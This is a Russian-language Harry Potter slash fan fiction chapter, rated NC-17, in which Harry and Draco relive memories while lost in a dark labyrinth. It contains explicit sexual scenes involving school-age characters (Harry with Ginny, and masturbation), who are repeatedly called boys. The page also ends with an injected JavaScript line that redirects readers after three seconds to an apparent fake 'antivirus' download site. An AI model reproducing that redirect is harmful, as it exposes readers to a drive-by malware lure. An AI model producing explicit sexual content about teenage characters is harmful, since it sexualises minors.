Ничья земля

Автор: Umbridge
Пайринг: Гарри Поттер/Драко Малфой
Рейтинг: NC-17
Жанр: action/agnst/romance
Саммари: Добро пожаловать! Вас приветствует НИЧЬЯ ЗЕМЛЯ! Забудьте все, чем вы были раньше. Здесь нет власти, но есть правила. Соблюдайте их - и вы выиграете!
Предупреждение: гет в 10 и 11 главах. ГП/ДУ, ДМ/НЖП, АУ 7 книги

Глава 10. Память оникса

(Глава, в которой прошлое рассказывает о будущем, Гарри вспоминает первый опыт, а Драко получает подсказку)

От воды тянуло прохладой, уже не гревшее солнце медленно скатывалось влево, на запад. Малфой шел впереди, и за всю дорогу не сказал ни слова. «Обиделся, - решил Гарри, раздражаясь при мысли о неожиданной любви, объектом которой стал так некстати. - Он думал, я ему руку и сердце предложу, что ли? Умру от счастья, как услышу? Бред. Малфой как был капризной девчонкой, так ей и остался». «Жаль все-таки. Если бы не война, мы могли бы… Может быть…» - тихо завел внутренний голос, и тело ответило ему огненной тяжестью в животе, рождая в воображении непрошенные картины. Избавляясь от неуместных мыслей, Гарри помотал головой. Сейчас не существовало никакого «может быть», только «надо» и «обязан», и пусть он обидел слизеринца, у Гарри другого выхода не было.

- Малфой, - заговорил мальчик. Он хотел объяснить спутнику, что тот заблуждается. И на самом деле вовсе не любовь у него к гриффиндорцу, - ты совсем меня не знаешь. Вообразил себе что-то, и думаешь – такой я и есть… Избранный… Загадочный…  В газетах про меня пишут. Но это все не так… Уверен – узнай ты меня поближе, твое мнение обо мне сразу изменилось бы, и ты бы разочаровался. Да и потом… сейчас война. Мы – враги, по разные стороны баррикад. Может быть, меня вообще убьют? Какая тут любовь?

Малфой не остановился и не обернулся.

- Поттер, - услышал Гарри его тусклый голос, - ты уверен, что все считают тебя героем. И уж я-то – непременно. Так грустно тебя разочаровывать, но… в тебе нет ничего особенного. А вообще, если снова собираешься выпендриваться… А вдруг я забыл, какой ты добрый и благородный… И жалеть меня… Я в душеспасительных беседах не нуждаюсь! Так что сделай одолжение – оставь меня в покое.

- Ну, как знаешь, - отозвался Гарри после минутного колебания, глядя в выражавшую равнодушие спину Малфоя.

Они шли дальше, и солнце, спустившееся влево еще немного, теперь казалось ровным кругом в ярко-синем небе. Мальчики молчали, слушая мягкую живую тишину вокруг. Первым по-прежнему шел Драко. Сначала, после позора в зеленой комнате, он мечтал убежать и спрятаться, как только откроются ворота, но потом обида, до смешного глубокая и болезненная, словно выморозила все внутри, и сейчас, слушая шаги спутника, Драко силился вспомнить, из-за чего так долго страдал. В груди было пусто, будто запертая там беспокойная птица вырвалась наружу и больше не царапала сердце, не билась о ребра. Слизеринцу стало все равно, идет ли Поттер за ним.

Гарри смотрел на сведенные под мантией лопатки Малфоя, на белокурые волосы, которые ласкал ветер, и ему мучительно хотелось дотронуться до мягких прядей, растрепать, пропустить между пальцами, потом коснуться губами, приподнять, открывая беззащитную шею: выступающие позвонки, белую кожу над черным воротником мантии. Гриффиндорца бросило в жар, и он перевел взгляд на полосу леса, стараясь подавить желание, лишавшее его воли. «А ведь мы одни… Никто бы не увидел», - шептал голос в голове, от которого у Гарри покалывало пальцы. «Не думай об этом… Не смотри на него», - твердо приказал себе гриффиндорец, чувствуя, как тоска стискивает сердце.

Мальчики шли вдоль русла реки, и тишину нарушал только шум воды, преодолевавшей очередной порог. Драко вдыхал свежий речной воздух, словно старался заполнить пустоту внутри. «Вот и все, - думал он. - Наверное, просто перегорело». И от этих мыслей становилось холодно и неуютно.

Но тут появился новый повод волноваться: черная каменная стена перегородила дорогу, и хотя до препятствия было еще далеко, Драко стало тревожно.

В футе от преграды путники остановились, не решаясь войти в появившуюся перед ними узкий вход. Идеально гладкий камень, казалось, сочился холодом, вынуждая мальчиков зябко кутаться в мантии. «Что там?» - подумал Гарри, прислушиваясь к звукам за стеной. Но та безучастно молчала, пугая и завораживая.

Гарри и Драко одновременно повернулись и уставились друг на друга.

- Иди, - сказал Драко тихо.

- Ну конечно… - закатил глаза Гарри, делая шаг в темный проход, решив про себя, что затевать спор глупо. Внутри было темно, и гриффиндорцу на мгновенье показалось, будто у него нет тела, но шорох мантии и опасливое прикосновение Малфоя вернули ощущение реальности, заставляя повернуться на звук. 

- Куда дальше? – спросил Драко, силясь рассмотреть лицо гриффиндорца.

- Откуда я знаю? – ответил тот, отворачиваясь.

Надо было двигаться, но неизвестность сковала его. Когда-то Дамблдор говорил - страшась темноты и смерти, мы боимся неизвестности, и сейчас Гарри понял суть слов директора: гриффиндорец не представлял, что ждет их впереди, и это пугало. Может, в футе разверзлась пропасть во много миль глубиной. Может они в комнате. Может в коридоре, длинном или коротком, узком или широком – точно не узнаешь. Гарри вытянул руки перед собой. Пошарив вокруг, коснулся холодного камня, затем повернулся и нащупал гладкую стену справа. Шагнул, и шумно выдохнул. Малфой тоже сделал шаг – и теперь тяжело дышал у самого уха.

- Иди за мной – куда я, туда ты, ясно? – спросил Гарри, медленно двигаясь вперед.

- Ясно, - поспешно отозвался Драко.

Время во мраке потеряло очертания, и невозможно было сосчитать, сколько плутали мальчики. Но чем дальше, тем сильнее становилась уверенность - они в лабиринте: запутанные коридоры пересекались, обманывали, приводя в тупики. Темнота казалась абсолютной: Гарри не видел собственных рук, скользя ладонями по ледяному камню и постепенно забывая, как выглядят собственные пальцы. Он почти простился с надеждой увидеть солнце, когда заметил впереди слабый свет. Гриффиндорец прибавил шагу, увереннее ступая по черным скользким плитам. Малфой не отставал, Гарри слышал его сбившееся дыхание. Еще несколько футов, и свет стал ярче. Завернув за угол, гриффиндорец остановился, пораженный и смущенный: перед ним, в конце прохода вместо плит зеленела молодая трава, покрывавшая берег ярко-синего озера, озера, изученного Гарри до самого дна. На фоне неба вырисовывались острые шпили башен Хогвардса. На берегу в тени старого дуба сидели двое волшебников, парень и девушка. Сердце оглушительно застучало в ушах - в парне Гарри узнал себя, а в девушке - Джинни.

Гриффиндорец покраснел, когда двойник расстегнул на ней мантию, неловко и жарко сжимая упругую, развитую грудь. Гарри ясно помнил прохладную кожу в горячей ладони, и как затвердел сосок, отзываясь на прикосновение. Он точно знал, что лихорадочное желание, овладевшее им тогда, почти лишало разума и делало неоправданно счастливым. Коснувшись ореола большим пальцем, двойник посмотрел в глаза Джинни, а потом приник к ее губам, порывисто целуя. Гарри сглотнул, понимая - перед ним прошлое, день, когда случился их первый раз. Его рука, горячая и влажная, скользнула вверх по бедру, под черный монашеский подол мантии, и пальцы робко и трепетно погладили влажное межножье. Гарри помнил, какой она была там: жаркой и скользкой. Но его тело откликалось со страстной готовностью. Гриффиндорец облизал губы. Старательно мучая рот Джинни, двойник мягко уложил ее на яркую свежую траву. Неловкая путаница  с бельем, и белый лоскут брошен рядом. Джинни покраснела, больше от усердия, чем от смущения, пытаясь быстро расстегнуть молнию. Двойник нервно смеялся и помогал ей. Они казались такими угловатыми и неповоротливыми. Гарри стало и смешно, и неудобно, ведь он слишком хорошо помнил, как Джинни уверяла, будто ей было совсем не больно, и она даже получила удовольствие. Он охотно поверил, забыв о сдавленном стоне сквозь зубы, и про кровь, оставшуюся на белье. Потом он искупал свою вину много раз. Гарри вздохнул: удивительно, но сейчас не было у него ни тоски по Джинни, ни желания увидеть ее, только неловкость: так уж получилось, извини. Вдруг с неожиданным страхом Гарри вспомнил о стоявшем сейчас сзади и видевшем все это Малфое. Мальчик быстро повернулся, готовясь произнести речь в свою защиту, но так и застыл: слизеринца не было. 

- Малфой! – позвал Гарри и прислушался. Тишина.

- Малфой! Эй, Малфой! Ау! – еще раз позвал мальчик, но снова никто не отозвался.

- Это глупо! – крикнул Гарри, уже не надеясь на ответ, и пошел обратно, по коридору, освещенному тусклым светом прошлого, постепенно погружаясь во мрак.

Только что Поттер шел впереди – и вот за поворотом ни шагов, ни дыхания, ни шороха мантии – Драко остался один в непроглядной черноте.

- Поттер… - позвал мальчик, но голос погас в тишине, - Поттер, хватит…- снова нет ответа. Лоб покрыла ледяная испарина, но Драко не решался ее утереть, чувствуя, как голова пустеет и тяжелеет, занятая одной мыслью – нет сомнений, он потерялся.

Охваченный паникой, Драко прижался к стене, представляя, что тьма вокруг кишит кошмарами, шевелится, дышит, смотрит, обнюхивает, подбирается, и стоит протянуть руку – вцепится скользкими мертвыми пальцами, а сделаешь шаг, и пол исчезнет под ногами, обрушиваясь в пропасть миллионы миль глубиной, и даже крика никто не услышит.

Потом, достигнув высшей точки, отчаяние вдруг отступило, и Драко взял себя в руки. Держась за стену, он пошел дальше, так напряженно вслушиваясь в тишину, что принимал шум в голове за шорохи. В висках колотилось сердце, предвещая приступ паники, и тут мальчику показалось, что стало светлее. Драко прибавил шагу, и, в очередной раз свернув за угол, оказался в тускло освещенном коридоре замка Лестранжей. В ужасе попятившись – нет, только не сейчас, он не готов вернуться – слизеринец вдруг замер, пораженный, увидев себя и своего тюремщика Рудольфа Лестранжа, сопровождавшего его к Темному Лорду. Двойник впереди, тюремщик – сзади, они шли по подземному тоннелю, их лица скрывали белые маски, но слизеринец хорошо помнил, как капля пота ползла по его щеке, дрожали губы, и в груди холодело приступами, как будто на берег набегала ледяная волна. Почему-то он был уверен - этот вызов станет для него последним.

Лестранж поднял палочку и приказал: «Стой!», а двойник покорно остановился, не пытаясь сопротивляться. Застыв в нескольких шагах от них, слизеринец видел, как дрожат у того руки и безвольно опускаются плечи. «Неужели я такой жалкий?» - подумал Драко некстати. Нервно дергалось пламя факелов, закрепленных в держателях под самым потолком, и тени: мальчика и высокого мужчины, болезненно корчились на стенах. «Сейчас он меня изнасилует», - единственная мысль тогда промелькнула в голове, потому что Драко давно ждал этого, ловя на себе пустой взгляд Лестранжа, чувствуя тяжелое дыхание, когда мужчина смотрел на него через решетку -  Драко ждал, что рано или поздно Лестранж захочет получить долг за молчание. Двойник стоял, неудобно наклонив голову, словно собака, ждавшая наказания, но конвоир не спешил наказывать. Сейчас, наблюдая со стороны, Драко заметил, как тот неуловимо меняется: становится выше, раздается в плечах, и будто постепенно сбрасывая со спины груз, выпрямляется. Да и голос его звучал необычно: глубже, мягче и странно знакомо. Наблюдавший за двойником и конвоиром слизеринец удивился, видя, как Лестранж опускает палочку и устало вздыхает. Мальчик был уверен, что слышал такой вздох раньше, но не мог вспомнить – где. Зато хорошо помнил – именно секунду спустя Драко очнулся на Ничьей земле. Его охватило внезапное волнение и захотелось подойти, сорвать с головы конвоира островерхий капюшон, скрывавший волосы, подтвердить или опровергнуть догадку, и Драко уже сделал шаг, как вдруг катакомбы, тюремщик и двойник растаяли в воздухе, словно их никогда не было, и слизеринец снова оказался в темноте. Не зная куда должен пойти теперь, он замер, потом повернулся, но наткнулся на стену. Сделав несколько шагов в противоположном направлении, ударился кистью о камень. Паника забилась в животе. Теряя терпение, Драко развернулся, и пошел, не разбирая дороги. Как ни странно, но это помогло, и мальчик снова брел по коридорам, в отчаянном стремлении найти Поттера.

Гарри шел по темным закоулкам, снова и снова выкрикивая имя слизеринца, водил руками в темноте, надеясь коснуться - будто случайно - рукава его мантии, притянуть к себе и обнять, отыскав губами острый подбородок, заставляя выбросить из головы глупые обиды.

Но Малфой не отзывался.

Повернув за угол, Гарри снова вышел в полосу света. «Интересно, - мрачно подумал гриффиндорец, двигаясь по коридору все дальше, - что там?» Становилось светлее, и, миновав очередной поворот, Гарри увидел улицу Хогсмида. На деревню спускались душные сумерки, оседая в темных кронах и на крышах домов, и только небо еще оставалось светло-голубым, словно днем. Разглядывая желтые окна Кабаньей головы, Гарри вспомнил, как спустя две недели после начала летних каникул аппарировал к ее входу, комкая в кармане разрешение МакГонагал на посещение библиотеки. Гриффиндорец знал, что Филч ни за что не пустит его переночевать в Хогвартсе,  и придется останавливаться в деревне.

            Тем временем двойник поспешил к просевшему зданию, и, распахнув дверь, вошел. Тут картина изменилась, и вместо пыльной, окутанной сумерками улочки Гарри увидел провонявшую кОзлами каморку Кабаньей головы. За стойкой, протирая стакан грязной тряпкой, сгорбился мрачный старик. Двойник подошел к нему.

- Здравствуйте, - услышал гриффиндорец собственный голос, показавшийся со стороны резким и низким.

Злой взгляд поверх очков. Старик слушал.

- Мне нужна комната. На ночь. Есть у вас?

Кивок. «Комната имеется».

- Сколько?

- Тридцать сиклей, - проскрипел бармен, швыряя на стойку проржавевший ключ с цифрой пять на прикрепленной к нему деревянной дощечке. Двойник холодно кивнул, бросив на стол несколько монет.

- Куда идти?

Старик махнул рукой на маленькую дверь в темном углу, которую Гарри заметил только сейчас. Снова кивнув, двойник развернулся и отправился искать комнату.

Какое-то время Гарри изучал сидевших в баре посетителей. Он точно знал, что сейчас двойник спускается по земляной лестнице в темный коридор. Ищет среди покосившихся низких дверей свою, под номером пять, отпирает ее, на удивление легко. Бросает сумку на узкую кровать, и, походив по номеру несколько минут, решает вернуться в бар.

И точно, скоро двойник вышел в зал. Свободных столиков не было, и он собрался устроиться рядом с молодым незнакомцем. Тот единственный из находившихся в комнате не внушал опасений.

Видимо, почувствовав пристальный взгляд, парень поднял голову и улыбнулся.

- Присаживайтесь. Не помешаете. – Сказал он, и Гарри помнил, как неожиданно глубоко и мягко прозвучал его голос, странно волнуя, заставляя гриффиндорца отбросить сомнения и сесть за его столик.

Двойник заказал стакан огневиски и бифштекс с картошкой. Незнакомец – тоже. Они обменялись парой ничего не значащих фраз. «Сколько времени?» «Половина». «Десятого?» «Ага». «Приятного аппетита. Жесткий?» «Нормальный». Они только соприкасались коленями под столом. Больше ничего не было. Но Гарри хорошо помнил, как горело в паху, когда он украдкой рассматривал пшеничные волосы соседа, которые тот рассеянно заправлял за ухо, увлеченный чтением «Пророка». И помнил, как хотелось опуститься на колени, прямо под стол, расстегнуть ширинку на его брюках, коснуться гладкой головки губами, и довести до конца, не замечая других посетителей. Внутренний голос вовремя напомнил, смущая и пугая – сколько их уже было: блондинов, брюнетов, о которых ты думал такое?

Не доев, двойник поднялся и ушел в номер.

Гарри вспомнил, что раздевшись лег и попытался заснуть, игнорируя болевший от возбуждения член и запрещая себе думать о разрядке, отчего желание стало только сильнее и мучительнее. Короткий диалог с внутренним я, муки совести, и после стянутое до колен белье, быстрые движения влажной ладонью  вверх вниз, судорожный выдох сквозь сжатые зубы, попытка не скрипеть бесстыдно раскачивающейся кроватью. Потом Гарри вытер руку о простыню, и еще долго лежал, глядя в потолок при свете свечи, чувствуя странную радость и тревогу.

Гриффиндорец подумал с улыбкой, что сейчас не стал бы сомневаться и мучиться, познакомился бы с тем парнем поближе, пригласил бы в номер.

Воспоминание погасло, оставив Гарри в темноте. Мальчик заморгал, пытаясь привыкнуть, но мрак был абсолютным: как ни старайся – ничего не разглядишь, и Гарри вытянул руки, пытаясь нащупать опору. «Где же Малфой? - стучало в голове. - Что с ним?» Гриффиндорцем овладело неприятное чувство, словно он отвечал за Драко и потерял его. Наткнувшись на стену, Гарри медленно пошел по коридору, продолжая звать своего спутника, но, как и прежде, ответа не было.

«Где Поттер? – думал Драко, неуверенно ступая вдоль стены, - как он посмел оставить меня одного?». Негодуя, мальчик старался отвлечься от мыслей о чудовищах, затаившихся во мраке, но ничего не получалось, и, снова замирая, Драко прислушивался. Ему чудились шорохи, вздохи, стоны, существовавшие, как оказывалось, только в воображении. И слизеринец снова вспоминал Поттера, исчезнувшего так вероломно.

Неизвестно, сколько прошло времени, когда Драко останавливаясь, пережидая, боясь, выбрался в полосу света. «Что бы это ни было, оно лучше темноты», - решил мальчик, быстро шагая в мутном сиянии. Поворот. Еще поворот. Драко почти бежал. И только оказавшись в тупике, остановился. Перед ним возник коридор. Коридор в доме Снейпа. Тот день, когда мальчик первый и последний раз побывал там. Переведя дыхание, Драко привалился к каменной перегородке, наблюдая, как предоставленный себе двойник крадется по узкому настилу второго этажа, мимо ветхих дверей с оловянными ручками, а потом медленно спускается в гостиную.

Профессора все не было.

Слизеринец  видел, как двойник бродит по гостиной, рассматривая безделушки на каминной полке, садится в ветхое кресло, но, обнаружив что-то за книжным шкафом, встает. Драко помнил, что там была дверь, помнил, как открыл ее и вошел в коридор, освещенный лишь парой масляных ламп.

Тут гостиная исчезла, открыв взору слизеринца темный проход и двойника, осторожно, чтобы  не скрипнуть половицей, ступавшего по нему. Этот коридор оказался длинным. В конце обнаружилась еще одна дверь, приоткрытая ровно настолько, чтобы можно было видеть происходящее внутри, не выдавая себя. Драко хорошо помнил, как боролся с искушением, но, не выдержав, заглянул в дверную щель.  Двойник поступил именно так, и Драко знал, что тот видит комнату, совсем небольшую, несколько футов в длину, на сундуке – свеча, у окна в кресле сидит профессор, а спиной к двери стоит фигура в плаще.

- …. Теперь забирайте, - сказал Снейп, указывая на предмет, лежавший на сундуке.

- Можно? – женский голос, знакомый до зубовного скрежета. Грязнокровка Грейнджер – а Драко помнил, что сразу узнал ее -  потянулась к сундуку и тут же выпрямилась. В руках у нее была книга.

- Да, да… Невероятно… – слушая ее бормотание, слизеринец еще подумал: «Грейнджер и  книги – это история любви», - но потом услышал голос Снейпа.

- Только сделайте милость, придумайте что-нибудь для своего друга, - в устах профессора это звучало оскорбительно, - боюсь, узнает он, откуда она у вас – и ничего не получится.

- Да, да, конечно… – нетерпеливое бормотание Грейнджер, - о! Ну надо же… Как вы сумели расшифровать его?

- А это не вашего ума дело, – усмешка на лице Снейпа  пугала.

- Да… Извините… Но почему я должна верить вам? – недоверие в голосе грязнокровки.

- Сделка взаимовыгодная… Секунду… - Снейп встал из кресла, и двойник отступил к стене.

Профессор захлопнул дверь, а двойник прокрался по коридору обратно.

 Глядя на это, Драко вспомнил, какие мысли крутились у него в голове: зачем профессору приглашать грязнокровку к себе, что он расшифровал, что за книгу отдал?

Тут воспоминание начало тускнеть, и мальчик снова подумал: для чего Снейп встретился с Грейнджер, что это за книга, и что за сделка?

Но когда мрак поглотил стены, пол и самого слизеринца, страх снова парализовал Драко, и он опустился на пол, боясь пошевелиться.

Гарри шел по очередному коридору. В тишине мальчика начали одолевать вопросы: когда и как он получит ответ, ради которого отправился сюда? Сколько дней прошло с тех пор, как они здесь? Пять? Семь? Столько испытаний осталось позади! И никаких ответов кроме упомянутой Малфоем то ли чаши, то ли сосуда, хранящегося у Беллатрикс Лестранж. Когда же он узнает все? Может быть сейчас? Здесь? А если не будет никаких ответов? Что тогда? Может это просто пустая игра, и Гермиона ошиблась? Где она вообще нашла ту книгу?

Вдруг Гарри остановился. Перед ним в тупике появилась освещенная оплавленной свечкой комната. Там, на кровати, обняв подушку, крепко спал его двойник, а над ним, пронзительно вереща, носилась сова. «Снова номер в Кабаньей голове. О, а вот и Сыч», - подумал Гарри.

И тут двойник проснулся. Сел, сжимая палочку напряженными пальцами. Схватил с тумбочки очки.

Гарри хорошо помнил, как тогда множество мыслей пронеслись в голове – «Откуда нападут?», «Кто?», «Буду драться», и, наконец, изумление – «Сычик?»

Двойник, похоже, понял: устало ссутулился, рука с палочкой безвольно повисла. Казалось, вместе с облегчением пришла горькая уверенность – он никогда и нигде не почувствует себя в безопасности.

- Ты откуда? – пробормотал двойник вяло, морщась от оглушительного щебетания маленькой совы. С огромным трудом поймав ее, он отвязал от лапки пергамент и сунул сове угощение. Полакомившись, Сычик нетерпеливо запрыгал по кривоногому столу в ожидании ответа. Опустившись на кровать, двойник развернул письмо.

«Гарри!» - Гарри сразу узнал твердый аккуратный почерк Гермионы.

«Библиотека отменяется. Завтра утром, не медля, возвращайся. Я нашла. Что – при встрече. Это важно».

Гарри помнил, как с нарастающим раздражением перечитал письмо. Еще вчера Гермиона торопила его, заставив в спешке собраться - только самое необходимое. Девушка была убеждена - в библиотеке Хогвартса отыщется ответ. И вот, спустя сутки – пергамент, исписанный ровным почерком. Никаких объяснений, только приказ – срочно возвращайся. Конечно, Гермиона боялась писать подробно – сову могли перехватить, но неужели сложно было додуматься и дать намек, подсказку. Двойник в сердцах швырнул письмо на тумбочку. Потом, вспомнив про Сыча, все-таки написал на обороте пергамента – «Хорошо», - и привязав свиток к лапке, хмуро смотрел, как птица исчезла во мгле за окном.

Наблюдая за двойником, Гарри снова подумал о книге. Откуда Гермиона взяла ее? Почему сначала настояла на отъезде в Хогвардс, и даже достала разрешение, а спустя сутки – заставила вернуться, раздобыв где-то древний фолиант? В этом было нечто важное, логично связывавшее все воедино, нечто, чего гриффиндорец никак не мог уловить. Неужели отправляя его в школу чародейства и волшебства, Гермиона еще не знала о книге? Не верится. Но даже если и так… Почему Гарри не подумал об этом, соглашаясь? Когда она успела перевести такой сложный и древний, по ее словам, текст? И почему не сделала этого до его отъезда? Гарри мрачнел все больше. Значит ли это, что она специально отправила его подальше от дома, чтобы забрать книгу… Мог ли кто-то дать ее Гермионе? Вместе с переводом. Гарри вздохнул. Он так привык доверять ей, привык, что она всегда все знает, и во всем права. Ему и в голову не могло придти, что она может обмануть.

Тут картина начала растворяться, и Гарри вновь очутился во мраке. Пошарив вокруг, он нащупал стену, и медленно двинулся из тупика, выкинув из головы все мысли кроме одной – как найти Малфоя.

Стук каблуков – это все, что слышал мальчик с тех пор, как встал с ледяных плит. Когда это было - несколько часов или несколько минут назад: Драко потерял счет времени, и, казалось, начни он говорить - язык не послушается. Слизеринец делал шаг за шагом, мужественно уговаривая себя пройти еще немного, надеясь на подсказку, связывающую воедино разрозненные фрагменты памяти. По-прежнему блуждая по запутанным коридорам, без времени, без направления, вглядываясь в темноту в надежде увидеть бледный свет, Драко одновременно и боялся и стремился найти следующее воспоминание, гадая, каким оно будет. Он ощущал, почти физически, что подобрался близко к разгадке чего-то главного, чего-то, что даст ему силы, даст надежду. И когда Драко уже отчаялся получить желаемое, стало немного светлее.

Он приближался к очередному тупику, в котором его ждала сцена из прошлого. Поворот. Снова поворот. Быстрее. Быстрее. Свернув за угол, Драко вышел к источнику света и увидел свою камеру в замке Лестранжей.

Слизеринец очень хорошо помнил - тот день не задался с самого начала: шел дождь, на завтрак была странная каша, похожая на клей, с утра предстояла работа над зельями, а профессор задерживался, значит, до его появления придется оставаться один на один с Лестранжем. Драко помнил, с какой тревогой смотрел на свинцовое небо, дожидаясь конвоира и предчувствуя новые несчастья.

Тем временем у решетки появился Лестранж и отпер дверь, холодным взглядом полоснув узника. Дождавшись, пока тот выйдет, конвоир сопроводил его по катакомбам до лаборатории. В сумрачном зале, заставленном старыми котлами, над которыми всегда клубился густой пар, поднимаясь к сводчатому потолку и оседая на стеклах бойниц, хранились редкие, запрещенные ингредиенты, вроде сердца единорога или белой смерти. Двойник вошел первым, за ним, держа палочку наготове – Лестранж. Двойник остановился у котла, тюремщик замер у стены.

Драко видел, как двойник достает из банки плотоядных слизней и раскладывает на доске. Все как всегда. Но не совсем. Слизеринец помнил, что в тот день собирался привести в действие свой план. План побега, сейчас казавшийся глупым. Порошок слепоты лежит на пыльной полке стеллажа, один шаг влево от котла, быстрое движение рукой, и он будет у Драко. Мальчик отлично помнил, как от напряжения мелко дрожали пальцы, а над губой выступили капли пота. Лестранж наблюдал и слизеринец ни на секунду не забывал об этом. Двойник закончил резать слизня, аккуратно поправил куски ножом, взглянул на тюремщика, потом на котел, потянулся высыпать ровные части в сиреневую жижу, и тут заметил, что тюремщик отвернулся.

Мгновение. И колба с порошком зажата во влажной ладони. Драко замер, наблюдая за тем, как двойник прячет добычу в карман. Поворачивается. И сталкивается взглядом с Лестранжем.

Драко вспомнил ужас, холодом окативший с головы до желудка. Лестранж видел, что мальчик украл порошок, и доложит Лорду, но сначала получит кое-что для себя. Слизеринец вспомнил горечь на языке от поднявшегося в горле завтрака. 

- Не стоит. Положи обратно. – Приказал тюремщик. Двойник открыл рот, закрыл и послушно вернул колбу на полку.

Лестранж больше не произнес ни слова. Драко помнил, как потом каждый день со страхом ждал вызова. А еще - что Лестранж потребует плату за молчание. Но ничего не происходило. И только спустя месяц, когда Лестранж остановил Драко посреди подземного коридора, мальчик решил: настало время платить.

Тут воспоминание погасло, и слизеринец вытянул вперед руки, пытаясь нащупать стену.

Шаркая ногами по каменному полу, он медленно побрел по коридору, в поисках выхода, и тут услышал шаги.

- Поттер, - позвал он, не задумываясь о том, мог ли это быть кто-то еще.

- Малфой! Где ты? – донеслось из темноты.

- Здесь! – откликнулся Драко, стараясь не выдать радости, затопившей его. Шаги теперь звучали совсем близко. Вдруг Поттер крепко стиснул его запястье.

- Малфой… - с облегчением вздохнул Гарри, притягивая мальчика ближе. Теперь гриффиндорец чувствовал дыхание Драко на своих губах, светлые волосы щекотали щеку. Рука словно сама скользнула с запястья на бедро.

Предыдущая глава   Оглавление   Следующая глава

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>